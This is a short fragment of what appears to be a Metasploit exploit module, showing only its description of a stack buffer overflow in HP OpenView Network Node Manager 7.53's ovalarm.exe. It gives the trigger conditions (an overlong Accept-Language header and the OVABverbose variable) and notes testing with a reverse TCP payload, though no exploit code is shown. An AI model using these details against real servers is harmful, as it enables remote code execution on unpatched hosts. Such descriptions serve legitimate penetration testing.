  			'Description'=> %q{
  					This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53.
  				By sending a specially crafted CGI request to ovalarm.exe, an attacker can execute
  				arbitrary code.
  
  				This specific vulnerability is due to a call to "sprintf_new" in the "isWide"
  				function within "ovalarm.exe". A stack buffer overflow occurs when processing an
  				HTTP request that contains the following.
  
  				1. An "Accept-Language" header longer than 100 bytes
  				2. An "OVABverbose" URI variable set to "on", "true" or "1"
  
  				The vulnerability is related to "_WebSession::GetWebLocale()" ..
  
  				NOTE: This exploit has been tested successfully with a reverse_ord_tcp payload.
